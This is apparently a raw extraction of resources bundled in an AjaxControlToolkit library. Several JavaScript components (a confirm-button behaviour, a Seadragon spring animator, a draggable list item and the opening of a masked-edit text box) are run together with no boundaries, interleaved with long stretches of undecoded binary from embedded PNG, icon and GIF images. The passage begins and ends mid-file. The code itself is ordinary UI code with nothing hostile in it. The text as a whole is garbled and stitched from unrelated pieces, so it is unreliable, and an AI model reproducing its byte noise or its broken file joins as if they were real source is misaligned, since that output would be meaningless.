this._key}};AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs.registerClass("AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs",Sys.EventArgs);`Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.ConfirmButtonHiddenEventArgs=function(a){AjaxControlToolkit.ConfirmButtonHiddenEventArgs.initializeBase(this);this._confirmed=a};AjaxControlToolkit.ConfirmButtonHiddenEventArgs.prototype={get_confirmed:function(){return this._confirmed}};AjaxControlToolkit.ConfirmButtonHiddenEventArgs.registerClass("AjaxControlToolkit.ConfirmButtonHiddenEventArgs",Sys.EventArgs);AjaxControlToolkit.ConfirmButtonBehavior=function(c){var b=null,a=this;AjaxControlToolkit.ConfirmButtonBehavior.initializeBase(a,[c]);a._ConfirmTextValue=b;a._OnClientCancelValue=b;a._ConfirmOnFormSubmit=false;a._displayModalPopupID=b;a._postBackScript=b;a._clickHandler=b;a._oldScript=b};AjaxControlToolkit.ConfirmButtonBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.ConfirmButtonBehavior.callBaseMethod(a,"initialize");var b=a.get_element();a._clickHandler=Function.createDelegate(a,a._onClick);$addHandler(b,"click",a._clickHandler);a._oldScript=b.getAttribute("onclick");a._oldScript&&b.setAttribute("onclick",null);if(a._ConfirmOnFormSubmit&&typeof WebForm_OnSubmit=="function"&&!AjaxControlToolkit.ConfirmButtonBehavior._originalWebForm_OnSubmit)if(AjaxControlToolkit.TextBoxWatermarkBehavior&&AjaxControlToolkit.TextBoxWatermarkBehavior._originalWebForm_OnSubmit){AjaxControlToolkit.ConfirmButtonBehavior._originalWebForm_OnSubmit=AjaxControlToolkit.TextBoxWatermarkBehavior._originalWebForm_OnSubmit;AjaxControlToolkit.TextBoxWatermarkBehavior._originalWebForm_OnSubmit=AjaxControlToolkit.ConfirmButtonBehavior.WebForm_OnSubmit}else{AjaxControlToolkit.ConfirmButtonBehavior._originalWebForm_OnSubmit=WebForm_OnSubmit;WebForm_OnSubmit=AjaxControlToolkit.ConfirmButtonBehavior.WebForm_OnSubmit}},dispose:function(){var a=this;if(a._clickHandler){$removeHandler(a.get_element(),"click",a._clickHandler);a._clickHandler=null}if(a._oldScript){a.get_element().setAttribute("onclick",a._oldScript);a._oldScript=null}AjaxControlToolkit.ConfirmButtonBehavior.callBaseMethod(a,"dispose")},_onClick:function(e){var a=this;if(a.get_element()&&!a.get_element().disabled)if(a._ConfirmOnFormSubmit)AjaxControlToolkit.ConfirmButtonBehavior._clickedBehavior=a;else if(!a._displayConfirmDialog()){e.preventDefault();return false}else if(a._oldScript)if(String.isInstanceOfType(a._oldScript))eval(a._oldScript);else typeof a._oldScript=="function"&&a._oldScript()},_displayConfirmDialog:function(){var a=this,c=new Sys.CancelEventArgs;a.raiseShowing(c);if(c.get_cancel())return;if(a._displayModalPopupID){var b=$find(a._displayModalPopupID);if(!b)throw Error.argument("displayModalPopupID",String.format(AjaxControlToolkit.Resources.CollapsiblePanel_NoControlID,a._displayModalPopupID));b.set_OnOkScript("$find('"+a.get_id()+"')._handleConfirmDialogCompletion(true);");b.set_OnCancelScript("$find('"+a.get_id()+"')._handleConfirmDialogCompletion(false);");b.show();return false}else{var d=window.confirm(a._ConfirmTextValue);a._handleConfirmDialogCompletion(d);return d}},_handleConfirmDialogCompletion:function(result){var a=this;a.raiseHidden(new AjaxControlToolkit.ConfirmButtonHiddenEventArgs(result));if(result){if(a._postBackScript)eval(a._postBackScript)}else a._OnClientCancelValue&&window[a._OnClientCancelValue]()},get_OnClientCancel:function(){return this._OnClientCancelValue},set_OnClientCancel:function(a){if(this._OnClientCancelValue!=a){this._OnClientCancelValue=a;this.raisePropertyChanged("OnClientCancel")}},get_ConfirmText:function(){return this._ConfirmTextValue},set_ConfirmText:function(a){if(this._ConfirmTextValue!=a){this._ConfirmTextValue=a;this.raisePropertyChanged("ConfirmText")}},get_ConfirmOnFormSubmit:function(){return this._ConfirmOnFormSubmit},set_ConfirmOnFormSubmit:function(a){if(this._ConfirmOnFormSubmit!=a){this._ConfirmOnFormSubmit=a;this.raisePropertyChanged("ConfirmOnFormSubmit")}},get_displayModalPopupID:function(){return this._displayModalPopupID},set_displayModalPopupID:function(a){if(this._displayModalPopupID!=a){this._displayModalPopupID=a;this.raisePropertyChanged("displayModalPopupID")}},get_postBackScript:function(){return this._postBackScript},set_postBackScript:function(a){if(this._postBackScript!=a){this._postBackScript=a;this.raisePropertyChanged("postBackScript")}},add_showing:function(a){this.get_events().addHandler("showing",a)},remove_showing:function(a){this.get_events().removeHandler("showing",a)},raiseShowing:function(b){var a=this.get_events().getHandler("showing");a&&a(this,b)},add_hidden:function(a){this.get_events().addHandler("hidden",a)},remove_hidden:function(a){this.get_events().removeHandler("hidden",a)},raiseHidden:function(b){var a=this.get_events().getHandler("hidden");a&&a(this,b)}};AjaxControlToolkit.ConfirmButtonBehavior.registerClass("AjaxControlToolkit.ConfirmButtonBehavior",AjaxControlToolkit.BehaviorBase);AjaxControlToolkit.ConfirmButtonBehavior.WebForm_OnSubmit=function(){var a=AjaxControlToolkit.ConfirmButtonBehavior._originalWebForm_OnSubmit();if(a&&AjaxControlToolkit.ConfirmButtonBehavior._clickedBehavior)a=AjaxControlToolkit.ConfirmButtonBehavior._clickedBehavior._displayConfirmDialog();AjaxControlToolkit.ConfirmButtonBehavior._clickedBehavior=null;return a};��PNG


IHDR#"Յ`�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATxڬ�]l���޹3�_޵�1��q��IL��4�$P)�*RU�J T����}�i�c�"U<�P��JEZ�В�!@b�`'6Nbg�z?�;;3���x�	�t��;{e��sϽ�.13��CD���7��יֺ�F�Q����)d����u(��j�Po����`B@�A[���pk�&����aZ@�)���Çw�j5�y���[�S�N����N&��ggg��n3!�0���#���~���g2�!�Y훽t�����2[�P׾��ɣG��=y�d�����h
��	���|���O=�ԽQ�Ч�k���dO�b̯�L�@�!-�b���m�;�ɗ3��=����8qb�*�*�Z��gϲ�{����R�f�7�ػ��ч?����]�R�]��|�'�cŤ
$@BI��1ao����o��������y�ȑs��z�w���_nj��/�u�ĉ��7��ğ�{`�Ӊ���o{�ݤ��f�:"$C�}��y�Y�Ru��,^�m�\��yp���x���3�<�Ah����r���L�XD[[[�+�رc�?��_����^���(�+~Z^�2u\*m
�JPct���9�+V�Kn�i��nub�~��/������/9A�3uD�qZ�����_:4?6+��4�~;�mKG-�m���)��$V�H	����m�2t|i�1�&��''�����`]?Ѐ�V��W@����
ӟ�?��e��t�er�6�0���6����l�,���VJ��I!-!`f~l�bg�X=�裏��`-�2�L�@3�����>�۹��ӂtZl��H����������2Y��� !4X^Z��v��q��3t�R�G�'�x��4;u��\6��nڴ������DJAH� Q�/��{���c�$kW���N^��7
t��e||��,#��u'pc
�V�����@���T� �3*̎qd�:`�|~����Y"�f]f�a�a�\�{��3����7� M��Y��rbu�"����Y�qL,w���IZ����k)�ه��p����5�+Wٙ/sm��ѝ�1˲RM,Z�& <ϋK�l��%��ZY�І1HR�|�/�"�#�J�4M�D��t]���(��xp��:._����*�t��\�}߷�@�F0T*�8-5%bLQ�P	_�Da��3g.oH�T
�|~C�=�zI�f�#C&X��\.�E�o��s�\�;f9�.%�5��3���g�g��!M�$�zo��]q0lk�bY����
D��Jq�
�ռ�0���������7�*���Ҫ`@2�D؈��
%"{~�E-_A�ZE��#�%�,|��|.�+��NC���џ}���֮��[3�;�kנ�<���+T�-��:y	̀�0"��HS"�-��?�Mg���`;�XK
�;}�tvhh�ޝ��#�W�U<a1H�����5�B,G�gs�c�ӅBa1$%�fLX.:�.]:������3��Up��x}�F@��&�������B��	{��2y�w�}wL�{O�ŭ#�8���,� �5����ڑÀ��h �ٍK���?�����)�ӷ.Iy]nz衇ž����̜;���7�v���.(� L��8`$�T�Zk$��( M��
�x��#��9�f�P�`%�����g0�ޯ�M
@ezz���ř�O�0�������J�J�$���	���J��(��~d7�~߯Ͼ~eni�q����J��ak0�R���SSS��e��o����[rh{���UU���Q,�5�j�|	�Q�V
��s�1)/��>�R\��y����3aa�7ꭺ���8�|X�ځJH)����w�%���Ƿ�9��L�*%Q�������(��F��.�s�}a�����r�b(���0CCC�Zcrr2\�� �E�$��H$r�b3��}{:�����.W�7����~Ik��Z_	���,���iY300�(����+EO��&�v63��d^�NZ
Y�U�*������YWn���rV��
���Py��Pk*�j-N�u)��L&7��j�Uy[S�J�����[?\I�Yc�:��5�8�ſhJ)����)�)e���]�M�D6d���� 6\����w�2����+IEND�B`�6   �& h�( @ Xt��Xt��Mk��Mk��Ed��Ji��Ed��Ed��Ed��Ed��Gk��j�����N��<��:��0��E��A��;���5���Gk��i�������n��0��']j�&V`�$]m�����1���Hk��i�����z��E��5���%V`�������1���Im��j���������T��,_j�'KQ��������1���Im��k������d��8x��#s�����������Ce��k�������������~�u��s��g��a��Mp�����������������������������������������������������������������k���t���q���m���k���c���]���Rz��N}��Gs��Gs�����������������������������������������������������������������������������������������Q|��d��Ww����������Eu��3��D{�����������������������������������������������������������������������������������������S}��e��Vx����������Ft��3��>z�����������������������������������������������������������������������������������������V���d��]�����������H���4��[~�����������������������������������������������������������������������������������������S}��m��m��u���{���Y���4����S}���������������������������������������������������������������������������������������������S}��k��s��k��N����S}������������������ü�z;��������������ü�z;��������������ü�z;��������������ü�z;�������������S}��Vx��Sv��Tw��S}�����������������‹p��U�z;���������‹p��U�z;���������‹p��U�z;���������‹p��U�z;������������������������������������ü�‹p��ü����������ü�‹p��ü����������ü�‹p��ü����������ü�‹p��ü��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(  Ru��Ru��Qt��Ou��Pu��Ps��Nq��In��n�����)������ ��)��In��n�����0��(V_�bu�����Ko��n�����0��'Yd����
����Ko��r�������u��u��u��u��u��Jt��m���m���m���n���n���g���W���Jt��d��Mp��A��Jt�����������������������������d��Nr����������A��Jt�������������������������������������q���o��{��t��I��Jt�����������������������������������������f���Np��Lp��Jt������������ďq��R*�����ďq��R*�����ďq��R*�������������������������ӯ��ʓv�����ӯ��ʓv�����ӯ��ʓv�����ӯ��ʓw�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������]GIF89a�ABD!�����!�,.��i��xM�Ȥ�7����בa&�⚩��b�3ɣS{,�����DD;�GIF89a����:�U�ܻ���������������������������������������������������������������������������������������������������������������������������)^����������������������!�E,��E������������ #&'������$),.��>�>����(-2�>����256>B���B>6�Â.9��̾�ς27
;��>;�ۂ:
<>C䯯<���=����>=�=�0
�>
��C�AA"L���"���0a� ,`���?��]�`A��
:p$�Dz4dda�$W��ɓ^mqB�'4>���D��B� �"ƌ5\J�
A&X�z�s�fȈ!hE�8#r�x� 4:r�a�A/j�H`p���
օv���@;�GIF89a����������-^�@k�Ir�Cr�.l�4n�X��������������������������������333!�,�@�pH,��r�l6�I��	�V�����\`+��w�D������[M�g�\t}ϸ/�s__qK�a�a~P������f
�����P������^�P��
���h�P�^X����P������P�����b�P�ߖ���P�����P����G��A;�GIF89a�?����q$$��ӂ���������������Z**����������X�����������޴���u��r��hS�赵���������l������f��xx���AAAiii���묬�c��k��o���ռ�����罽p�����
t{�}r�x]��������������333���������!�?,��pH,��r�l6�=�T
�Z�ի5��y�^�/�\�L����:%��r� E�>�'+�|k�N\Jo/^��c8��	
��U;�����P��0�/��P9���)��9P7��0==2)��P
�4*�51��P�,!#3��P-+���!6 ��c:����: ��H�E����G*;�GIF89a�����������������������������������������������������������������������������������������������������������������������������������������)^��������!�E,��E������������#&'������$),.������(-2������256A����6��.9CCD���DB�27
;�;<��ӂ:=>�@@��B==�
?��A?�0

B�����,`���	=�P�BD�ȗ�BA(<,�+C�*h�t��I!:�ℊO0hp<Q�� '��1c@����d�E�n�ȡ#G7l�(0`���VĨ�T�	����
���#�p�ңV졻x;1GIF89a�x�䇿��!��,8@�
;Type.registerNamespace('AjaxControlToolkit.Seadragon');
Type.registerNamespace('Seadragon');

Seadragon.Spring = AjaxControlToolkit.Seadragon.Spring = function(initialValue, config) {
	this._currentValue = typeof (initialValue) == "number" ? initialValue : 0;
	this._startValue = this._currentValue;
	this._targetValue = this._currentValue;
	this.config = config;

	this._currentTime = new Date().getTime(); // always work in milliseconds
	this._startTime = this._currentTime;
	this._targetTime = this._currentTime;
}
AjaxControlToolkit.Seadragon.Spring.prototype = {
	_transform: function(x) {
		var s = this.config.springStiffness;
		return (1.0 - Math.exp(-x * s)) / (1.0 - Math.exp(-s));
	},
	getCurrent: function() {
		return this._currentValue;
	},

	getTarget: function() {
		return this._targetValue;
	},

	resetTo: function(target) {
		this._targetValue = target;
		this._targetTime = this._currentTime;
		this._startValue = this._targetValue;
		this._startTime = this._targetTime;
	},

	springTo: function(target) {
		this._startValue = this._currentValue;
		this._startTime = this._currentTime;
		this._targetValue = target;
		this._targetTime = this._startTime + 1000 * this.config.animationTime;
	},

	shiftBy: function(delta) {
		this._startValue += delta;
		this._targetValue += delta;
	},

	update: function() {
		this._currentTime = new Date().getTime();
		this._currentValue = (this._currentTime >= this._targetTime) ? this._targetValue :
                this._startValue + (this._targetValue - this._startValue) *
                this._transform((this._currentTime - this._startTime) / (this._targetTime - this._startTime));
	}
}
AjaxControlToolkit.Seadragon.Spring.registerClass('AjaxControlToolkit.Seadragon.Spring', null, Sys.IDisposable);
�// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.DraggableListItem = function(e) {
    AjaxControlToolkit.DraggableListItem.initializeBase(this, [e]);    
    
    this._data = null;
    
    this._handle = null;
    this._dragVisualTemplate = null;
    this._dragVisualTemplateInstance = null;
    this._mouseDownHandler = null;
}
AjaxControlToolkit.DraggableListItem.prototype = {    



   dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        var e = this.get_element();

        
        this.set_handle(null);

        AjaxControlToolkit.DraggableListItem.callBaseMethod(this, 'dispose');
    },

    get_data : function() {
        if (this._data == null) {
            var dragSource = this._findDragSource();
            if (dragSource != null && AjaxControlToolkit.DragDropList.IsValidDataType(dragSource.get_dragDataType())) {
                return this.get_element();
            }
        }
        
        return this._data;
    },
    
    set_data : function(value) {
        if (this._data != value) {
            this._data = value;
            this.raisePropertyChanged('data');
        }
    },
    
    get_handle : function() {
        return this._handle;
    },
    
    set_handle : function(value) {
        if (this._handle != null) {
            $removeHandler(this._handle, "mousedown", this.get_mouseDownHandler());
            this._handle.__draggableBehavior = null;
        }

        
        if (value) {
            if (value.element) {
                value = value.element;
            }            
            this._handle = value;
            this.raisePropertyChanged('handle');
            this._handle.__draggableBehavior = this;
            
            $addHandler(this._handle, "mousedown", this.get_mouseDownHandler());
            this._handle.__draggableBehavior = this;
        }
        else {
            this._handle = null;
        }
    },
    
    get_mouseDownHandler : function() {
        if (this._mouseDownHandler == null) {
            this._mouseDownHandler = Function.createDelegate(this, this._onMouseDown);
        }
        return this._mouseDownHandler;
    },
        
    get_dragVisualTemplate : function() {
        return this._dragVisualTemplate;
    },
    
    set_dragVisualTemplate : function(value) {
        if (this._dragVisualTemplate != value) {
            this._dragVisualTemplate = value;
            this.raisePropertyChanged('dragVisualTemplate');
        }
    },
    
//    getDescriptor : function() {
//        var td = AjaxControlToolkit.DraggableListItem.callBaseMethod(this, 'getDescriptor');
//        td.addProperty("data", Object);
//        td.addProperty("handle", Object, false, Sys.Attributes.Element, true);
//        td.addProperty("dragVisualTemplate", Sys.UI.ITemplate);
//        return td;
//    }
    
    _onMouseDown : function(ev) {
        window._event = ev.rawEvent;
        this._handle.__draggableBehavior._mouseDownHandlerInternal(ev);
    },
    
    _mouseDownHandlerInternal : function(ev) {
        var ev = window.testEvent ? window.testEvent : ev;
        if (ev.button <= 1) {
            var dragSource = this._findDragSource();
            if (dragSource != null) {

                var dragVisual = this._createDragVisual();
                dragSource.startDragDrop(this.get_element(), this.get_data(), dragVisual);
                ev.returnValue = false;
            }
            else {

            }
        }
        else {

        }
    },
    
    _createDragVisual : function() {
        var ev = window.testEvent ? window.testEvent : window.event;
        if (this._dragVisualTemplate != null) {
            if (this._dragVisualTemplateInstance == null) {
                this._dragVisualTemplateInstance = this._dragVisualTemplate.cloneElement();
            }
            else if (!Sys.UI.DragDropManager._getInstance().hasParent(this._dragVisualTemplateInstance)) {
                this.get_element().appendChild(this._dragVisualTemplateInstance);
            }
            
            var location = { x: ev.clientX, y: ev.clientY };
            location = Sys.UI.DragDropManager._getInstance().addPoints(location, Sys.UI.DragDropManager._getInstance().getScrollOffset(document.body, true));
            $common.setLocation(this._dragVisualTemplateInstance, location);
        }
        return this._dragVisualTemplateInstance;
    },
    
    _findDragSource : function() {
        var element = this.get_element();
        while (element != null) {
            if (element.__dragDropList != null) {
                return element.__dragDropList;
            }
            element = element.parentNode;
        }
        return null;
    }
}
AjaxControlToolkit.DraggableListItem.registerClass('AjaxControlToolkit.DraggableListItem', AjaxControlToolkit.BehaviorBase);
v�// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Common/Common.js" />


// Product      : MaskedEdit Extend Control
// Version      : 1.0.0.0
// Date         : 10/23/2006
// Development  : Fernando Cerqueira 
// Version      : 1.0.0.1
// Development  : 02/22/2007 Fernando Cerqueira 
// 
Type.registerNamespace('AjaxControlToolkit');
AjaxControlToolkit.MaskedEditBehavior = function(element) 
{
    AjaxControlToolkit.MaskedEditBehavior.initializeBase(this, [element]);
    // **************************************************
    // Properties
    // **************************************************
    // mask
    this._Mask = "";
    this._MaskType = AjaxControlToolkit.MaskedEditType.None;
    this._Filtered = "";
    this._PromptChar = "_";
    this._InputDirection = AjaxControlToolkit.MaskedEditInputDirections.LeftToRight;
    // Message
    this._MessageValidatorTip = true;
    this._ShowMessageErrorFloat = false;
    this._CssMessageErrorFloat = "";
    // AutoComplete
    this._AutoComplete = true;
    this._AutoCompleteValue =  "";
    // behavior
    this._ClearTextOnInvalid = false;
    this._ClearMaskOnLostfocus = true;
    this._AcceptAmPm = AjaxControlToolkit.MaskedEditShowSymbol.None;
    this._AcceptNegative = AjaxControlToolkit.MaskedEditShowSymbol.None;
    this._DisplayMoney = AjaxControlToolkit.MaskedEditShowSymbol.None;
    // CSS
    this._OnFocusCssClass = "MaskedEditFocus";
    this._OnInvalidCssClass = "MaskedEditError";
    this._OnFocusCssNegative = "MaskedEditFocusNegative";
    this._OnBlurCssNegative = "MaskedEditBlurNegative";
    // globalization 
    this._CultureName = "";
    this._UserDateFormat = AjaxControlToolkit.MaskedEditUserDateFormat.None;
    this._UserTimeFormat = AjaxControlToolkit.MaskedEditUserTimeFormat.None;
    // globalization Hidden 
    this._CultureDatePlaceholder = "";
    this._CultureTimePlaceholder = "";
    this._CultureDecimalPlaceholder = "";
    this._CultureThousandsPlaceholder = "";
    this._CultureDateFormat = "";
    this._CultureCurrencySymbolPlaceholder = "";
    this._CultureAMPMPlaceholder = "";
    this._AMPMPlaceholderSeparator = ";";
    this._Century = 1900;
    // clipboard
    this._AllowCopyPaste = true;
    this._ClipboardText = AjaxControlToolkit.Resources.Shared_BrowserSecurityPreventsPaste;
    // **************************************************
    // local var mask valid
    // **************************************************
    //  9 = only numeric
    //  L = only letter
    //  $ = only letter and spaces
    //  C = only custom - read from this._Filtered
    //  A = only letter and custom
    //  N = only numeric and custom
    //  ? = any digit
    this._CharsEditMask = "9L$CAN?";
    // **************************************************
    // local var special mask
    // **************************************************
    // at runtime replace with culture property
    //  / = Date placeholder
    //  : = Time placeholder
    //  . = Decimal placeholder
    //  , = Thousands placeholder
    this._CharsSpecialMask = "/:.,";
    // **************************************************
    // local converted mask 
    // **************************************************
    // i.e.: 9{2} => 99 , 9{2}/9{2}/9{2} = 99/99/99
    this._MaskConv = "";
    // **************************************************
    // Others local Var
    // **************************************************
    this._EmptyMask = ""; // save Empty Mask
    this._maskvalid = "" // save valid Mask
    this._DirectSelText = ""; // save the Direction selected Text (only for ie)
    this._initialvalue = ""; // save the initial value for verify changed
    this._LogicSymbol = ""; // save the symbol - or AM/PM
    this._LogicTextMask = ""; // save logic mask with text input
    this._LogicMask = ""; // save logic mask without text
    this._LogicMaskConv = ""; // save logic mask without text and without escape
    this._LogicPrompt = String.fromCharCode(1); // logic prompt char
    this._LogicEscape = String.fromCharCode(2); // logic escape char
    this._LogicFirstPos = -1; // first valid position
    this._LogicLastPos = -1; // Last valid position 
    this._LogicLastInt = -1; // Last valid position RTL Integer with decimal
    this._QtdValidInput = 0; // Qtd Valid input Position 
    this._InLostfocus = false; // Flag to validate in lost focus not duplicate clearMask execute
    this._ExternalMessageError = ""; // Save local MessageError from Controls Validator
    this._CurrentMessageError = ""; // Save local Current MessageError
    this._FiringOnChange = false;  // true when OnChange is being fired
    this._ErroOnEnter = false; // Flag Erro validate with Enter
    // **************************************************
    // local chars ANSI
    // **************************************************
    this._charLetters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    this._charNumbers = "0123456789";    
    this._charEscape = "\\";
    // **************************************************
    // local placeholder delimit for info repeat mask
    // **************************************************
    this._DelimitStartDup = "{";
    this._DelimitEndDup = "}";   
    // **************************************************
    // Handler
    // **************************************************
    this._focusHandler = null;
    this._keypressdown = null;
    this._keypressHandler = null;
    this._blurHandler = null;
    this._mouseOutHandler = null;
    this._mouseOutHandler = null;
    this._mouseMoveHandler = null;
    this._mouseEnterHandler = null;
    this._changeHandler = null;
    // **************************************************
    // Only for Opera
    // **************************************************
    this._timer = null; //Timer
    this._timerHandler = null; //Timer Handler
    this._SaveSymb = ""; // Symb Saved immediate perform Action
    this._SaveText = ""; // Text Saved immediate perform Action
    this._SavePosi = -1; // Cursor pos Saved immediate perform Action
    this._SaveMask = ""; // Mask with text Saved 
    this._SaveKeyDown = 0; // save scancode at keydown
}    
AjaxControlToolkit.MaskedEditBehavior.prototype = { 
    initialize : function() 
    {
        var e = this.get_element();

        this._InLostfocus = true;
        AjaxControlToolkit.MaskedEditBehavior.callBaseMethod(this, 'initialize');
        this._createMask();
        // if this textbox is focused initially
        var hasInitialFocus = false;
        var clientState = this.get_ClientState();
        
        if (clientState != null && clientState != "") 
        {
            hasInitialFocus = (clientState == "Focused");
            this.set_ClientState(null);            
        }
        //only for ie , for firefox see keydown
        if (document.activeElement)
        {
            if (e.id == document.activeElement.id)
            {
                hasInitialFocus = true;
            }
        }
        
        // Create delegates Attach events
        if (this._ShowMessageErrorFloat)
        {
            this._mouseOutHandler = Function.createDelegate(this, this._onMouseOut);
            $addHandler(e, "mouseout", this._mouseOutHandler);
            
            this._mouseMoveHandler = Function.createDelegate(this, this._onMouseMove);
            $addHandler(e, "mousemove", this._mouseMoveHandler);

            this._mouseEnterHandler = Function.createDelegate(this, this._onMouseover);                
            $addHandler(e, "mouseover", this._mouseEnterHandler);
        }

        if (!e.readOnly)
        {
            this._keypressdown = Function.createDelegate(this, this._onKeyPressdown);
            $addHandler(e, "keydown", this._keypressdown); 

            this._keypressHandler = Function.createDelegate(this, this._onKeyPress);
            $addHandler(e, "keypress", this._keypressHandler); 
            
        }

        this._focusHandler = Function.createDelegate(this, this._onFocus);
        $addHandler(e, "focus", this._focusHandler);
        this._blurHandler = Function.createDelegate(this, this._onBlur);
        $addHandler(e, "blur", this._blurHandler);
        this._changeHandler = Function.createDelegate(this, this._onChange);
        $addHandler(e, "change", this._changeHandler);
        
        if (Sys.Browser.agent == Sys.Browser.Opera)
        {
            // Create timer
            this._timerHandler = Function.createDelegate(this, this._OnTimerTicket);
            this._timer = new Sys.Timer();
            this._timer.set_enabled(false);
            this._timer.set_interval(100);
            this._timer.add_tick(this._timerHandler);
            this._SaveText = ""; 
            this._SavePosi = -1;
            this._timer.set_enabled(true);
        }

        var wrapper = AjaxControlToolkit.TextBoxWrapper.get_Wrapper(e);
        if (this._ClearMaskOnLostfocus)
        {
            this._InitValue(wrapper.get_Value(),true);
        }
        else
        {
            this._InitValue(wrapper.get_Value().substring(this._LogicFirstPos,this._LogicLastPos+1),true);
        }
        if (hasInitialFocus) 
        {
            this._onFocus();
        }
        else 
        {
            if (this._ClearMaskOnLostfocus)
            {
                wrapper.set_Value(this._getClearMask(wrapper.get_Value()));
            }
            var IsValid = this._CaptureServerValidators();
            if (!IsValid)
            {
                if (this._OnInvalidCssClass != "")
                {
                    this.AddCssClassMaskedEdit(this._OnInvalidCssClass);
                }
            }
        }
    }
    //
    // Detach events this.dispose
    //
    , dispose : function() 
    {
        var e = this.get_element();
        if (this._mouseOutHandler) 
        {
            $removeHandler(e, "mouseout", this._mouseOutHandler);
            this._mouseOutHandler = null;
        }
        if (this._mouseMoveHandler) 
        {
            $removeHandler(e, "mousemove", this._mouseMoveHandler);
            this._mouseMoveHandler = null;
        }
        if (this._mouseEnterHandler) 
        {
            $removeHandler(e, "mouseover", this._mouseEnterHandler);
            this._mouseEnterHandler = null;
        }
        if (this._focusHandler) 
        {
            $removeHandler(e, "focus", this._focusHandler);
            this._focusHandler = null;
        }
        if (this._focusHandler) 
        {
            $removeHandler(e, "focus", this._focusHandler);
            this._focusHandler = null;
        }
        if (this._blurHandler) 
        {
